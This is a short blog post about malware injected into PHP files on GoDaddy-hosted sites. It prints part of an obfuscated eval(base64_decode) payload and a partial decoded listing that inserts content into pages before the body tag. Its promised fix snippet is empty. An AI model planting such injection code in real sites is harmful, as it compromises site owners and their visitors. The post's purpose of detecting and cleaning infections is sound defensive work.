Godaddy PHP sites hacked again

During April-May of this year, some hackers have attacked on godaddy shared hosted site.
But it seems they are back to work now. Because in past 2-3 also some site (mostly wordpress blogs) have been hacked by this hackers.

Many sites histed by GoDaddy are being hacked at the moment. This blog was also caught in that malware attack. But fortunately I have got the solution and have transferred my hosting also.

Actually this is the malware which is automatically edited into .php files. It will pick any files and paste the code into it.

The seems as below: (This is the some part of the code, not full code)

[cc lang=”php”]
eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAk
R0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHM
oJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sIm
dvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4g
YmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dGVXSnNhVzVrYzNSMVpHbHZhVzVtYjI5dWJHbHVaUzV
qYjIwdmJHd3VjR2h3SWo0OEwzTmpjbWx3ZEQ0PSIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKC
FmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2
MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJ….
[/cc]

So this code is behave as below:
It will generate the PHP code as attached below code snippet and eval function will execute that code.

[cc lang=”php”]
]*\>)/si’,gml().”\n”.’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE);
}
else
{
return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();
}
}
ob_start(‘mrobh’);
}
}
?>

if($R034AE2AB94F99CC81B389A1822DA3353===FALSE)
{       
$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;      
}      
return $R034AE2AB94F99CC81B389A1822DA3353;     
}    
}    

function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B)
{     
Header(‘Content-Encoding: none’);     
$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);
if(preg_match(‘/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)) {       return preg_replace('/(\<\/body[^\>]*\>)/si’,gml().”\n”.’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE);      } else {       return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();      }     }     //ob_start(‘mrobh’);   
}
 }
?>
[/cc]

Now, may be other php sites hosted on server other than GoDaddy should have check for this malware for their site.

If you get infected with this malware then run the script from this post and your site will be cured in a moment.

You can also use the same script to verify if your site was infected. If you get a message.

[cc lang=”php”]0 Infected Files ./[/cc]

..Then your site is clean but if you get the list of infected files, then click on “Fix files” and within a few seconds your site gets clean from this malware.

Thanks blog tips for this trick.

The another solution if, which I have just made and its working for me and some other sites.

Create one file which gets included in your script as the first files. Be sure that on other code isplaced before this file inclusion.

In this file write below code:

[cc lang=”php”]
[/cc]

Save this file and upload to your server. This will prevent the malware code to get executed, You can check the very first condition of that code.

Best of luck….